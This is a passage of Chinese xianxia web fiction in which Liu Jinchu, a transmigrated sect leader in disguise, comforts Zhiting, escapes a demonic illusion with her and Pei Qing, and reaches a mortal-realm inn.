柳今初站在芷汀身旁,同她谈着昨夜自己给她送去的糕点,虽说自己幸运,挑的糕点大多都是辟谷修仙者能睁一只眼闭一只眼能吃的,但她还是有些不好意思,剩下那些不能吃的不是馋人家的眼么。 柳今初和芷汀熟络,已然将她当作了和宁明一样的好姊妹,总之已到了无话不说的地步。 芷汀被人挽着手,感受到肩头处传来的轻微沉重感,轻轻笑道,“这有什么,季安你能来看我便是我很意外的事了,毕竟已经很晚了不是么?” 柳今初听了心情很好,撒娇似地蹭蹭她,一边附和着说没错。 但过了一会儿,柳今初忽然觉得少了什么,左右看看她们已经走在后头了,裴卿一人走在前头,虽说距离不远,可这孤单的背影也属实有些可怜。 柳今初不知芷汀如今对裴卿是什么感觉,将空着的手抬起戳了一下芷汀的腰,细语道,“芷汀,你不觉着裴卿孤零零的很可怜么?” 她的说话声近乎是气音,方才在客栈她已经将音量缩得很小了,可那句腹诽灵兔的话还是让耳尖的裴卿听了去。 听了便听了,朝她提起做什么,还要拉上林谦。 “嗯,我们快些走吧。”芷汀唇边还是带着轻轻的笑意,垂着眸没有再说下去。 “慢些才是,我可想问你些事,你也不用担心,我们说得小声些他听不到的。”柳今初直起身,淡声开口。 柳今初仍是压低着声音,她能察觉到芷汀的失落,她不知两人怎么了,可看芷汀的样子,两人似是不太愉快。 见芷汀小幅度点头,柳今初才继续,“芷汀,不瞒你说,裴卿就是一个冷冰冰的木头,他先前说什么都是对人扔出的雪团,抖抖雪就不冷了。” 芷汀听了她有些无厘头的描述便知自己的心思早就被看透了,她不是什么内敛的人,也不喜欢压着苦楚,应着这句话露出带着轻轻苦涩的笑。 “季安你怎么就知道我在想什么了。不过我可不是什么死缠烂打的人。”她停了停又淡声开口,仍是垂着眸看着路,“伤心几日便好了。” 柳今初顿了一下,她没想到两人的关系到了这个地步,抬起手轻抚芷汀的背脊,感觉到她的单薄又有些心疼。 芷汀,天底下可不止一个他这样的人。为男子伤心几日怎么行,若是真要这样想,那又有多少人要为你伤心呢? 柳今初本是这样想的,可话到嘴边,她又觉得很怪,始终说不出口。 这样想很怪,也不对极了。 柳今初看着她转口道,“可我告诉你,这不是伤心,是失落,它就好比你为了辟谷而不能尝的那些糕点,你也无需为谁停留,因为失落会很快过去。” “我的意思是,世上有许多能让你愉悦、失落、平静的事,若仅仅只为一种停留,你岂不是尝不到后头的酸甜苦辣了,那样怎么行,这世间风味许多,我们既已在此处就是要尝遍天下风味的。” 少女虽不内敛,但她情含蓄,虽只简单道了几语,可情意早已显露。 芷汀不再看着路,抬起头看向身侧的人,眼中浅淡的泪花被风吹干,她启唇笑,明媚的笑容里不再藏着苦涩。 季安说的对极了,那日说出口的话从期冀变成了苦涩,可它在今日它变成的水,虽说不出什么味道什么感觉来,可它代表的是新生。 “季安,你怎会这般好。”芷汀没有将心中翻滚的想法一一向她倾诉,可她就像早就得知了一般,温柔地用水将苦楚化开,给它附上清甜。 “我与你年纪相仿,怎会不知你的心事。”柳今初见她情绪好了许多也弯眼笑起来。 “那季安姑娘可是也有心上人?”芷汀红唇白口,问出的话却让人呛住。 柳今初眨眼,她不知要怎么答,她说没有,可又不禁想起走在前头的人。 她确信自己没有,可那束起马尾的他好似有。 而那心上人却不是芷汀了,那又会变成了谁? 柳今初不知道,心上坠着的石越来越重,这本不知从何时起变得面目全非了,她再也猜不透书上的人到底在想什么。 似是一切都变了,又好似一切都如常。 就像仙魔劫会如期到来。 或许不该这样说,而是她要面临的生死之日会如期到来,只是真正 在何时,她说不清。 见她不说话,面色有些凝,轻蹙着眉,芷汀便道,“莫不是真有?季安你可别只让我舒心却忘了让自己舒心。” 柳今初回视身旁的少女,摇摇头,拉着她的手快步往前走,“好了好了,再不跟上去,裴卿要丢下我们自己行事了。” * 三人来到了那鸡鸣狗吠的小巷里,石子路,竹林浅。这里出行的人不多,身上都是大差不差的粗布麻衣,有些似是刚刚做完农活要归家,在深秋里还擦着汗,有些则是背着一箩筐菜要去集市摆卖。 柳今初并不是很陌生,她来过一次,不过裴卿也来过一次。 柳今初与芷汀已经跟上了先前走在前头的裴卿,他似是察觉到了两人走得比他要慢些,他便将步子也放慢了一些。 可后来他发觉两人走得越来越慢,同他拉开了一段距离,不大不小,刚好是听不清两人谈话的距离。 不过用些灵力就能听清,但他没有这样做。 青年同两位女子在一起,视线直直看着前方,见两人跟上来了只是侧目看了一眼并无多说什么。 柳今初察觉到了他的不对,但她又不知不对在何处,总之气氛有些凝,四周没有风,让她觉得周遭的空气都是静止不动的。 没等她想出个缘头来,就走到了木门前。 她细细一看,木门上的青苔有一片枯死了,原本的鲜绿变成了泥黄。木门露出一道狭窄的缝,透过那道口子,能看见一点屋内的布景,里头没有光透出来。 这遍有些怪了,现在是白日,这屋子可是有天井的,按理说多少会透些光的。 不过在得知这老妇并非普通人后,这些异常仿若都化作了正常的事,若不出现些不对之处那才是怪的。 那裴卿他们对这老妇的了解有多少,柳今初不知他们是否知道这老妇与林谦的关系。 想到此处她才想起自己还不知林谦去了何处,好不容易寻到了他,现在人又不知去了何处。 她想旁敲侧击的事可多着了,正欲要问裴卿,却被老妇沙哑的声音打断了。 那声音像两块枯朽的木头交叠摩擦发出的声响,干涸极了,仿若还能嗅闻出一些枯败的腐味。 这听着很像是生病了,不过与魔族牵上关系,和得了病也别无区别了。 柳今初自己便是个例子,她现在还不知要如何回应魔主,这事让她感到头疼,本就顾及不上裴卿的事了,现在半路又冒出来一个魔主。 她当时还觉得自己是不是早就睡着了,又做了什么离奇诡异的梦。 虽是心绪杂乱,可她向来能很好将它们暂时抛之脑后。裴卿与芷汀已先叩门进去了,她走在最后。 站在门槛外,柳今初看着敞开着大门的天井前院,空间不大,恰恰能容纳两人前后走动,天上的白也没有被想象中的屏障遮住,天是正常的,有大片的云,遮得看不见一点儿天的蓝。 柳今初迈步踏入前院,发丝应风轻动,刚将后脚伸入屋内,身后的木门砰地一声合上,扬起尘灰,柳今初侧身回头。 她没察觉到任何灵气的变化。 或许说,这里已经没有灵气游存了。 这间屋舍本身就是一道屏障。 39. 第三十九章 抬手推了推门,柳今初发现自己推不动,那木门像是被人从外头堵住了一样,可又不是那样简单。 她指尖曲起,感受到丝丝缕缕的魔族气息从指尖处攀爬直至蔓延全身。 柳今初知道结界出口就在这木门上,可设下这样的屏障的人,实力远远高于自己,甚至可以说与她灵识完整的状态大差不差。 总之不是个善茬。 裴卿与芷汀两人似也察觉了魔族气息的剧烈波动,站在最前头的青年侧身干脆利落拔剑,身后那柄长剑的剑身顷刻间附上了湖蓝色的灵气。 他在看她,柳今初能察觉到,可那目光好似不带着以往的审视意味了,更多的是坚定。 柳今初松了一口气的同时也迅速戒备起来,三步并作两步来到芷汀跟前。 符修应对屏障和幻境这类需要许多灵气筑起的巨大空间很是趁手,可在比自己阶段高出许多的对手面前,这些优势便会变得极其微小。 可他们是三个人,柳今初能感知到来人单枪匹马,若是他们三人联手,逃出去不是问题,更何况男女主都在这,她应该不至于现在就变成炮灰,再怎么样,柳今初最多接受自己半死不活被两人拖着离开这间屋舍。 “芷汀你莫要离开我。”柳今初倾身靠近芷汀,感受到她周身散发出来的温热灵气。 随后背脊处传来轻微的温热感,芷汀在她背后贴了一张符纸。 明亮的黄色符纸上满了是白色的字迹,芷汀又迅速蹲下身,衣摆翻飞,将掌心处黄纸红字的符纸摁向地面,神情严肃。 待她起身,这间屋舍已然变化,周遭景致有充满烟火喧嚣的市井变成了荒无人烟的乱葬岗。 “季安,你身后的符纸可短暂护你不受重伤!”少女发觉自己离余下两人拉开了一段距离,独自一人站在草垛旁,一只脚踩着方才贴上的符纸,只能抬高音量与柳今初说话。 柳今初自然是察觉到了自己来到了真正的幻境里,设下那屋舍模样的屏障似乎只是为了将他们带到这里。 可他们没有一人在踏入这间屋舍前发现有什么怪异之处。 柳今初心中隐隐泛起不安,她觉得这次自己不会那么走远又遇到原主认识的人了,用屏障隔绝人世又造出这幻境的人显然是要将他们都一网打尽。 至于目的,裴卿和芷汀未必真的能猜到。 可她知道,这些莫名其妙半路杀出来的人多半是奔着裴卿体内的渡仙剑剑灵残魂去的,能轼仙灭魔又不会被天道干扰的东西谁会不想据为己有。 说起来柳今初自己都想过要不要重操旧业,把裴卿体内的渡仙剑剑灵残魂夺过来,然后自己隐居与三世隔绝保命,就此度过余生算了。 可这些都只能想想,柳今初不会将自己的生命作为筹码,去试这条路还能不能走。 她只有一次机会,保守一些的方式胜算客观,更何况她不是随意夺人宝物的强盗。 不过眼下不是要担心裴卿的时候,而是要护住芷汀的时候。芷汀虽是丹符两修的天才修仙者,可单打独斗不能将她真正的能力展现出来,而且这次来人就连她也未必能有胜算,那便不用说裴卿与芷汀了。 虽说他们不会死,可元气大伤也是必定的了。 “芷汀,当心!”柳今初朝着少女的方向奔去,长衣摆动,瀑布似得黑发在空中扬起利刃一般的弧度。 流光一样的素白灵气在一瞬间笼罩单膝跪着的少女,她身后那团朦胧的黑雾顷刻间变得浓黑,好似一滩积蓄久远的淤泥,隐隐散发着死物般的腐臭气味。 那是魔族气息,和上次柳今初同林谦遇到的那个不同,这次的魔族气息就好似万具亡魂尸身汇聚凝续而成的,狰狞与强烈的欲念铺天盖地席卷而来,仿若要将所有活物生吞活剥吃干抹尽一般。 柳今初眸中闪过一抹虚幻的湖蓝光影,随后就是剑尖处散发的寒光。 那是裴卿的剑,他也察觉到了这些魔族气息去向何处。 柳今初的心忽地剧烈跳动起来,她分明知道裴卿是向着那团黑雾去的,可他的杀意太过猛烈,让她觉得像是幻觉,眼前所有的事物都化作了虚无之物。 黑雾会散去,蹲着的少女身形开始扭曲,而裴卿那张冷涩的脸依然清晰,那把长剑的光刃刺眼,真实得让她双手颤抖,手中的剑就要握不住。 忽地,耳边传来利剑划破风形破开风口的簌簌声响。 她闭紧了双眼,长睫轻微颤动,脸颊旁飘起的一缕发丝断开,她感受到脸颊处溅上了什么,流到唇角处,渐渐没入唇中。 腥甜的,是血的味道。 那是自己的血么? 她不知道,只能感受到自己仍旧跳动的心脏,还有能握紧剑柄的手。 柳今初睁开双眼,屏住的呼气松开,肺部顷刻间涌入了沉闷的空气,她像是重获新生了那般,双眼迷朦看不清一切,可她知道剑刃很清晰。 一道利风擦过她身侧,就在发丝断开不久后,身影模糊,她看不清是什么。 感知汇聚回来,柳今初视线明晰了,她平静垂眼,芷汀不在身旁。 素白的灵气包裹全身,让她瘦削的身渐渐恢复血色。 方才遇险的人不是芷汀,那是幻觉,幻境里独独针对她的。 设下幻境的人知道身处幻境的人在想什么。 柳今初环顾四周,身边没有人,还是那个荒芜人烟的乱葬岗,风停了,这里静得很。 她出了幻境,那裴卿和芷汀呢? 方才又是谁拉了她一把,让她从幻觉里苏醒。 想到这里,柳今初擦了擦颊边的血,已经干涸了,从她的眼角处溅到了唇边。 她抬起手看着自己掌心处的血迹,深褐色的,和常人别无不同。 握了握掌心,她在心中默念除尘术,脸上的血迹连同掌心处的暗红便渐渐消失了。 柳今初移开视线,眼下不是要找出救她于险境的人是谁,而是要先找到芷汀。 若是能让她的灵气为芷汀所用,助他们三人脱离这里有一丝希望。 方才她不知不觉陷入幻觉,近乎是被人牵着做出自己也不会怀疑的举动,这些还不足以说明他们实力远在这人之下么? 虽早就察觉到对方实力如深渊不见底,可她还是抱着侥幸,觉得有主角在,逃离或许不是难事。< /p>可现在逃离变成了一丝希冀。 迈步走了一会儿,柳今初就注意到了无形的空气产生了扭曲,像是灵气波动时她能用肉眼察觉出来的变动。 柳今初没有停下一探究竟,而是当即移动步子,几步来到扭曲之处,伸出手,感受到强烈的拉力席卷全身,随后那道黑色的身影就出现在眼前,坐在地上的少女单手撑着膝,不断念出符纸上的字。 柳今初没有停顿片刻,当即挥剑斩开两人身后那道朦胧迷幻的黑雾,随后转身背对两人,三人各朝一方。 “芷汀,你能让幻境暂时破开一道口子么?”柳今初背对着她,耳边呼啸声近乎要将她的声音撕碎。 可芷汀似是听见了,抬高声音给了肯定的回答。 随后耳边传来细碎的声音,“只是,只是需要一些时间,我的灵气不足一下画出符纸了!” 柳今初敛眸,余光里那道黑色的身影迈开步子,稳稳站着,将那把长剑狠狠插入地面,剑与地接触的地方蔓延开湖蓝的光纹。 她知道这道招式,是剑修术法里唯一的防御招式,剑修的位置主站攻与袭,若是走了剑修这条道,那么就意味着在御守方面不能一再精进,除非对剑法早就融会贯通了。 这道招式名为“定步”,是她她看着裴卿学的第一道招式。 其实剑谱里的第一招并非是“定步”,是她让裴卿先学此招式的。 “你年纪还小,重要的是先能护住自己,再学怎么救人。”柳今初柔声开口,“剑修虽然主修攻而非防,但是你师尊有私心。” “我希望你还不能反击时,能尽可能拖住时间,等为师来救你。”柳今初伸出手揉他的脑袋,淡笑一声又道,“当然不是让你只会喊外援而已,只是想告诉你,从今往后我们裴卿身后有人,天下你想闯便闯,尽管做自己便好。” 裴卿睁着圆溜的黑瞳看她,他知道是什么意思,尽管师尊不解释他也知道她想给他的就是烛火一样的暖。 此后他每日习练剑法前便会从“定步”开始,日复一日挥剑直至熟念到闭着眼收敛灵气也能护自己周全,他才转而用上附着灵气的刃剑。 这番画面很朦胧,用现代的话来说,柳今初觉得这就是回忆脑中往事的感觉,转瞬即逝,像光的痕迹一样,你注意到时它就显现了。 你那时才知道那是光照进来了。 你到那刻才知那是光阴流转百思瞬来。 柳今初闭上双眼,体内淡薄的灵气慢慢变得充盈,四肢百骸宛若新生了一般,待她睁眼直视前方灰暗呼啸的幻境,自己的境界来到了元婴中期。 利落转身,带起一阵如水波荡漾的灵气波动,她是幻境里唯一散发游动灵气的人。 一站一蹲的两人似是也察觉了这番突兀的灵气波动,却是只能按下那份疑惑,继续应对不断席卷而来的黑雾。 它们无形,像狰狞的孤魂野鬼的爪牙,又似一声声尖锐刺耳的冤魂惨叫,充斥着悲动与仇怨的情感。 柳今初蹲下身,将双手轻轻贴上芷汀单薄的背脊,掌心处凝聚纯白的灵气,流光溢彩从指尖处散开。 “用我的灵气。” 40. 第四十章 她的声音清雅,在呼啸的风声里却是格外清晰,让半蹲着近乎是忍着口中鲜血不吐的少女顿住。 芷汀能在柳今初触及自己背部时瞬间感受到那纯粹的灵气灌入体内,一点点传向她的掌心,口中的鲜血慢慢散去,就像她先前只是含了一口气一般。 少女轻呼出一口浊气,将脑中慌乱的杂绪尽数抛去。 这些恢复的迹象来得很快,就在她眨眼看清自己撑在地面的那一瞬,便似温浪席卷全身,这样的恢复速度是任何灵丹妙药都比不及的,她甚至觉得夏侯商师尊亲自寻来的灵丹也未必能这样快地让她宛若新生。 芷汀眼神坚定,在心中平静地念出符咒,一字一句在脑中清晰回响,待最后一语落地,她掌心下的符纸化作灰烬散去,转而又在掌心下生出另一张模样相同的符纸。 红字一笔一画清晰锋利,干净明晰,纳下术法与浓厚的灵气,隐隐散出素洁的光辉。 那不是芷汀自己的灵气,她的灵气是像初生桑叶那样温暖的缃黄色,而现在她握着的素色白光,是季安的灵气。 她的灵气很不一样,芷汀天生便对众多修仙者的灵气极为敏感,能觉察出他们散发出的灵气有何异同。 其中那些明显掩藏着天地山水自然灵气的痕迹的修仙者的灵气最为常见,它们都并不纯粹,像是只让自然灵气沾染上了自己的灵气之色便据为己用了,抑或是用自己的灵气将那些鲜活空灵的自然灵气包裹,傀儡似地调转它们罢了。 可季安的很纯粹,就像是她原原本本就是这些纯白灵气的主人。 可这样想也并不对,或许是她吸收天地灵气的本领极高,近乎到了融会贯通的地步,总之,季安纯粹,在心上也是,在修炼上也是。 芷汀露出浅笑,有了她的灵气相助,幻境的破口能持续更长的时间。 “季安,你先出去。”芷汀站起身,看向为自己挡下许多横冲直撞的魔族气息的两人,身姿挺拔,身边灵气与魔气针锋对峙。 柳今初听到了她的呼唤当即转身面向狰狞的黑雾,她不愿拉拉扯扯拖延时间,当即放出一道灵力化成的剑刃,将那些不断扑上来的魔族气息压下一些。 随后纵身跃向灵气与幻境魔气交织产生的光火破口处,“你们也是,不准独自一人断后!” 柳今初对那类因为胸怀大义而不断拉扯的事很是不喜,她若是只想要独自一人活下来,自然不会管其他人,可若是她不愿其他人灰飞烟灭,那便是会拦下那些擅自断后的人。 虽说她曾有过独自一人存活便好的想法,可那终究只是一闪而过的念头,她很清楚自己并不是那样的人,她虽没有及怀天下的能力与信心,可愿世间安定是她从生至今唯一不变的希冀。 柳今初的声音提高了很多,近乎是有些沙哑了,那句话自然被两人清清楚楚地听了进去。 柳今初这样奋力说出这句话缘于她清楚裴卿此刻对魔族的猜测很深,或许说他已在此刻定下了与魔族血海深仇一般的怨结。 她看过裴卿的往事,自然知道发生在他小时候的那场灭亲之灾是谁的手笔,也知道天下到底有多少人觊觎他体内的渡仙剑剑灵残魂。 只是柳今初只能叫出些名字来,倘若真遇见了她未必能一下认出,这便是她头疼之处。 更何况那灭亲的势力描述含糊,或许说应是它本身就行事神秘,唯一可以确定的便是这方势力与魔族有关,只是到底是与魔族有勾结还是真切出自魔族本手,她就无从得知了。 柳今初蹙眉,莫名生出些懊悔来,若是当时能在多看两眼,说不定真相就水落石出了。 不过在多想什么也无济于事了,眼下裴卿与芷汀也出了那幻境,三人虽身上带着不同的伤,或重或轻,但好在跑得及时,御剑飞行和画符传送的灵力还是使得出来的。 要说伤得最轻的,柳今初便暗自在心里举手了,她不是没受过伤,只是后来调用了远在元剑地的自己的灵气恢复了而已。 她现在也不打算藏着掖着了,方才她给芷汀灌入自己未带伪装的灵气助她破开幻境再逃出生天时,她就想好了。 她赌裴卿没有注意到,就算注意到了她也会让他怀疑自己看错了。 总之保命要紧,主角两人是不会死可她不一定,干脆破罐子破摔,后面再在裴卿问起时悄悄把罐子的碎瓦片踢开就是了。 糊弄过去就好,柳今初觉得他不会揪着这点插曲说事的。再不行她就令还在闭关的自己出关,出关仪式搞得轰轰烈烈让裴卿不得不承认师尊还在元剑宗。 柳今初在脑中过了一遍对策,对此很是满意,虽一开始漏洞百出,可经过她的缝缝补补也能说得上是天衣无缝了。 “季安。”那道方才还在自己脑海中浮现的声音响起。 是裴卿在唤她,他默不作声地将剑身方向偏转一点,靠近了柳今初。 真是说什么来什么,说裴卿裴卿到。 柳今初方才就打过了草稿,面上平静得很,目视前方语气平淡,“何事能让你在逃跑的路上还抽出时间同我讲话?” 柳今初本想着他会说出自己预想中的那几句质问的话,可出乎意料,裴卿没有问她什么。 “多谢。”他的声音不同平常,夹杂了些许真挚。 站在剑身上的柳今初不禁挪动了一下脚,显些失去了平衡,不动声色地站稳后,她才微微侧脸看他。 这是在三人离开幻境以来,她第一次正眼看他。 入眼就是他额角和唇角处早已干涸的血迹,暗红的,深极了浓极了。 和他现在看向她的目光一样,好似含了万千情绪,只是不是血里含的仇怨,而是她也看不懂的情绪。 “你怎么没有用灵气修复伤口?”柳今初看出了藏在血迹之下还隐隐渗着血的伤口,好像伤得还挺深的,只是看着口子不大罢了。 裴卿见她终于看向自己,没有解释,勾起一边没有破了的唇角,露出一道说难看也不算,说轩朗也不算的笑。 真要说出这笑是什么样,柳今初觉得只能用凄美这一词来说他的笑。 他 们并肩御剑于高空,虚虚浮浮站在云雾之上,这里很迷朦,光线不多,是那厚厚的云层遮去了大半的缘故,这般有些昏暗模糊的环境衬得他眼神更加朦胧,长睫投下的阴影遮去瞳孔上唯一的光点,看着有些阴郁。 他淡淡答道,“用了就不能御剑了。” 柳今初抿了下唇,想也没想就道:“站在我的剑上不就可以了?你还小瞧它了,它本体可不止这点大。” 这是实话,柳今初在很早之前就发现了原主没有属于自己的剑,仙界普遍觉得一位剑修若是突破了化神期还没有认定自己的剑灵,那这位剑修便没有一柄真正属于自己的剑。 就算身边有一车的稀奇宝剑也不过只是附着了灵气的破铜烂铁而已。 而原主现在已经突破了大承期后期,她还是寻不到认定自己的剑灵。 若不是作者故意为之,这显然很奇怪,毕竟原主也是众多剑修里的佼佼者了,还能继承掌门之位,要说没有剑灵被吸引那便是不可能的。 剑灵认定一名剑修为主后,它本身也能增长修为的,而那名剑修修为增长的速度也会受益,快过许多人,灵气吸收转化的手段也多了一种———剑灵化气,顾名思义,便是借剑灵转化天地自然灵气为己所用。 这也是裴卿为何从小就能快于其他剑修晋升的缘故。 这法子倒是和柳今初分离灵识,一半代她闭关修炼,一半随她来到人间魔界历练,期间在元剑地的她就如同剑灵一样助她转化天地灵气。 裴卿看着她片刻没有出声,转而侧过头直视前方迷朦堆叠的云雾。 他们在绵乱的云里御剑已有了两个时辰了,天边的红日也早已移了三竿的长度。若不是为了一再藏身,柳今初自然是不愿意在这里御剑这么久的,天上极好的景致她看不到就算了,还要被藏在云里睁眼闭眼都是白朦一片或时不时遇上几道转瞬即逝的紫电。 柳今初见他没回应,觉得裴卿应是没话说了,她觉得此局自己拌嘴扳回一局,心情转而好了许多,又想起他额角和唇边的伤。 抬起手轻动指尖,长袖滑落,在呼风里翻飞,与身边翻动的云浪融为一体。 她现在体内灵气充沛,境界自然也从元婴中期来到了元婴后期。 青年感受到额角出传来的温热柔和,睫毛轻颤,敛眸只虚虚看着前方的云浪,他知道是谁在做,他清楚得很,甚至在那道温柔的触感来临前,他就在期待了。 可那时他还不承认,只用她本就心善糊弄过去。 可真当她挥手施了灵力,他又想着她是否怀着半点关切在。 那点温暖的柔移向了他的唇角,裴卿身子一僵,垂在身侧的手缓缓抬起又停在半空。 好像她在用指尖轻碰他的唇。 待那柔和的感觉散去,裴卿才抬起手轻碰方才让他思绪凌乱的地方,伤口消失了,恢复如初,指尖触碰的地方不再传来刺痛。 他眸色轻晃,眼前重影合上,是她翻飞的衣摆和挺立的身影。 他身上的伤都尽数恢复了。 41. 第四十一章 不知是御剑飞了多久,柳今初已不站着了,转而盘腿坐在了那柄被自己用灵气放大的剑身上,感受着迎面而来的凉风,她都有些昏昏欲睡。 安安静静待在她身后的青年就端坐着,也同她一样盘着腿,只是在闭目打坐,与身前的人拉开一段不近不远的距离,伸长了手就能碰到身前人的肩。 若是有习习之风吹来,她的发丝飞舞,他就只需稍稍伸手就能触碰到她的发梢。 柳今初的眼皮开始打架了,一只手撑着头,长发有几丝垂落在身前,大多都在她身后随风扬起。 眼前的景象除了白茫茫的云雾之外,就是一闪而过的电光了,柳今初盯着看了很久,觉着这番场景奇幻极了,颇有些催眠的效果。 这逃命之途还有多长,柳今初在心中默默想,为了不就这样睡过去,然后导致御飞的剑变了方向两人双双从空中坠落到地上,她只能尽量让自己多想一些事而不是想着睡觉。 正在她忍不住要站起身阻止自己不断低头又猛然惊醒似地抬头时,云雾散开了,眼前是一片淡蓝无极的天空。 垂头看去,下方是同样浅蓝的海面。 风平浪静,海面平静得很,微波荡漾不见半点花白的浪,是纯粹的淡蓝,与天际交融让人分不清边界在哪里,甚至连那透亮的日也将光彩收敛了不少,海面上也没有涟漪光点。 好生怪异,可这样又别有一番美意在。 快到凡界了。 柳今初困意顿时入方才出了云雾层那样烟消云散,站起了身,看着下方海面远处那块小小的陆地。 她认出来了,是华夏疆土的边界。 一股莫名的熟悉与酸涩感涌上心头,柳今初垂在身侧的手微微动了动,轻轻握成了拳,指甲轻触到她的掌心。 那里没有繁华的现代建筑了,钢筋水泥所做的一切都不见半分。 眼眶里慢慢积蓄了泪花,她不知到自己为什么会冒出泪来,明明她并不是很眷恋那个没有家人与朋友的地方,可她早就生长在了那里,或许就是会多多少少与它有些情谊吧。 柳今初眨了眨眼,微微仰头,平稳呼吸后转身,“裴卿,我们先去凡界与芷汀汇合,再去寻那老妇。” 盘腿静坐的青年已经站起了身,听见她说话,向前几步走近她。 这了的风还是很大,她的发仍在轻扬舞动,向她走近时,手背与发梢相触,有些痒意,像羽毛轻拂过一样。 “嗯。”裴卿没有多说什么,朝她点头,垂在腿旁的手轻拢了拢。 * 两人落地收剑后,就与芷汀联系上了,芷汀化用符纸,走得要比他们快些,早在一间酒楼等候两人。 柳今初将手中捏着的符纸揉碎,在掌心的碎纸化作光点悄悄散去。 站在高有两层的玉明楼前,她抬头观览,酒楼是重檐歇山式结构,看着气派,里头时不时传来一声交谈与呼喝声,看来这牌匾上写着的玉明楼生意很是不错。 柳今初迈开步子先一步走上前,侧目看了一眼门口出高挂着的酒旗,黑墨毛笔,是楷书,好似还有几分像颜真卿的书体。 这里是唐代的酒楼。 而这个玉明楼柳今初觉着有些熟悉,好似在何处见过,但她不确定,只能继续向前走,迈步进了酒楼。 那张留音符传来芷汀清甜的声音,她在第二层,除了和柳今初说自己平安无事外,她还笑着告诉柳今初自己点了许多好吃的菜肴,希望两人来的快些,免得凉了。 柳今初听到这自然是很雀跃的,她还没来过酒楼用膳,去凡界享用美食都净去些市井小摊吃。 她倒是好奇酒楼的菜肴味道如何。 刚进了酒楼,就有一位模样亲切的店小二快步走上前来,穿着褐青相间的翻领胡服,腰间系着革带,袖子收紧看着利落极了。 “两位客官里边请,两位看着身份不凡,小二一眼便看出二人是大户人家,玉明楼特意留有景致极好的雅座,请您二位随我上楼。” 他说得极快,看着手脚麻利,没想到嘴皮子也利索的很,一下便将拍马屁和拉客入座说完了。 柳今初眨了下眼,方才在御剑时的那点忧伤在此刻彻底消散,起唇同他说:“不必了,有一位姓芷姑娘约了我们二人用膳,就在二楼的雅座上等我们。好似叫红莲阁” “哎呀恕我疏忽,忘了问两位可否有约了,您请随我来便是!”他仍旧说得快,赶忙转身带路。 柳今初走了几步,忽地回头看了一眼身旁站着的裴卿,他静默着,看着别处,似是想得出神了,没跟上来。 “看什么呢?”柳今初往回走两步拉上他,又往他方才看的方向望去,只看到一墙的诗词,还有零星几位客人在墙旁交谈,手上均捏着毛笔。 “瞧他们写壁诗做什么?快快上楼,先用膳填饱肚子不好么?”柳今初只粗粗瞧一眼就移开了视线,拉着人的手腕就朝着正在等候他们的店小二的方向走。 手腕处传来温热的触感,带着轻轻的拉力,虽小但他忽视不了。 裴卿狭长的凤眼微眯,有些茫然,他方才只是被墙壁上的黑字诗句吸引,现在注意力被拉着他的人带走,他没想到她会直接牵住他。 从前好似也没有常常这样做过,可她的动作太自然了,这样就只剩他一人无措。 黑衣青年身子略微僵住,随即他顺着少女的力道迈步向前。 两人一前一后走到了楼梯上,或许是这酒楼本身就大有来头,店内的布置很是华丽,彩帛在房梁处交织,在宽敞的楼梯上还能时不时遇见几名端着各式菜肴的店小二,虽绷着脸神情紧迫但步履从容不疾不徐。 等到了红莲阁附近,柳今初才发觉自己方才忘了松开牵着裴卿的手了,转头歉意一笑,“多有冒犯,裴卿你下次可以出声提醒一下我的,这样也免得以后有什么登徒子占你便宜。” 裴卿面上看着没有情绪,好似他并不在意这些冒犯。 可柳今初不会只看他那张俊脸判断这人现在是个什么心情,她还会下意识看他的耳尖。 不好意思时他的耳尖便会泛红,而面上倒是一点儿红晕也没有,乍一看觉得他平静极了。 不过这次他的情绪变动似乎很大,耳尖红得像是要滴血了。 不就是拉了一下手腕么,裴卿是有多在意男女授受不亲的事,柳今初想不明白,不过这么多年了,他身边好像除了她和宁明两位女子以外,裴卿遇到的另一位女子就是芷汀了,在往远一点说,就是他娘亲了。 < p>可裴卿的娘很早就过世了,在裴卿被灭亲的那日离开了他,那时裴卿才五岁,还是一个很小的孩童,看着也很怕生。 想到这里柳今初又觉得自己方才的话有些重了,便轻声开口,“不过你放心,有我这样厉害的剑修行第在,你也不必担心会有登徒子靠近你,我自会护你周全。” 说到此处柳今初不禁沾沾自喜,方才在那幻境里,或许应说是在魔界,她修为一下晋升到了元婴后期,而裴卿便是在中期徘徊了许久,直至又入一危及生死的险境才终于突破。 不过在这之后,裴卿修为的增长就像是一飞冲天一样快,这也并非偶然,柳今初知道那是裴卿的渡仙剑剑灵残魂恢复了,然后忠心耿耿的渡仙剑剑魂助了他千臂之力,不一飞冲天才怪。 裴卿听了她的话微微垂头,好似不会回应她了。 柳今初也是这样想的,在她看来,裴卿除了话少不善言辞之外,他还特别容易害羞羞怯,就好似停在花上的蝴蝶一般,伸手一触,就逃也似得扑翅而逸。 可这次她想错了,她的手腕被人反扣住,随后传来一道不轻不重的力道,将她拉入青年身后。 随后她耳边便传来了一声急切的道歉,“小的该死!这位客官,小二并非有意如此,不慎失手污了客官的衣袂。” 柳今初赶忙拉过裴卿,将他转向自己,只见他胸口处的交领布料被汤汁濡湿了,上面还有一些绿色的菜叶子。 这幅模样看着很狼狈,不过也有些好笑。 柳今初压下想笑的念头,刻意拉平唇角,丝毫不嫌弃他身上沾的汤汁,安慰似地拉起自己的衣袖给他擦了擦。 这也没有办法,就算现在裴卿再膈应也不能施展除尘术。 毕竟仙界有规矩,凡是已能运用灵气施展灵力的修仙者,除特殊状况外均不能再凡界明目张胆地用灵气或灵力,违者轻则一月禁闭,重则降级直至逐出师门。 先前柳今初觉得这是在有些严苛了,可等宁明和她说起先前某些修仙者在凡界闹出的大乱子,她好似又能理解了。 毕竟做出点石成金表演到处骗吃骗喝、戏弄龙子扰乱朝廷、恐吓百姓取乐结果遇到了同门等等这些让无数朴实百姓抱头痛哭的事,已经到了擅自影响凡界的范畴了,而仙界是最为强调不扰它界的,怎会准许这些有损族面的事频频发生。 “无碍,我自会叫人来处理。”裴卿淡淡抛下这一句话就推开了红莲阁的门,几步就走到了里头,留下柳今初站着与那已经跪在地上的店小二面面相觑,方才带路的那位早就奔下楼找掌柜去了,看着他要跳着下楼梯的模样柳今初都有些担忧。 罢了,她还是进去先享用美膳吧。 “你起来吧,方才那位公子为人还是不错的,他不会追究什么,继续忙你的就行。”柳今初几句说完便要转身,随后像是想到了什么,赶忙叫住连滚带爬要走的男子。 他面上惊恐之色刚退去,眼下又变得陌生惨白,“您、您请吩咐!小的知错了!” 柳今初轻叹一口气,想着平日这些老实无辜的百姓到底是被多少蛮横无理的人欺压成这样了。 “能不能送我们一壶果酒当作赔罪?不行也无妨,你不必紧张。”柳今初露出笑,看着和善极了。 42. 第四十二章 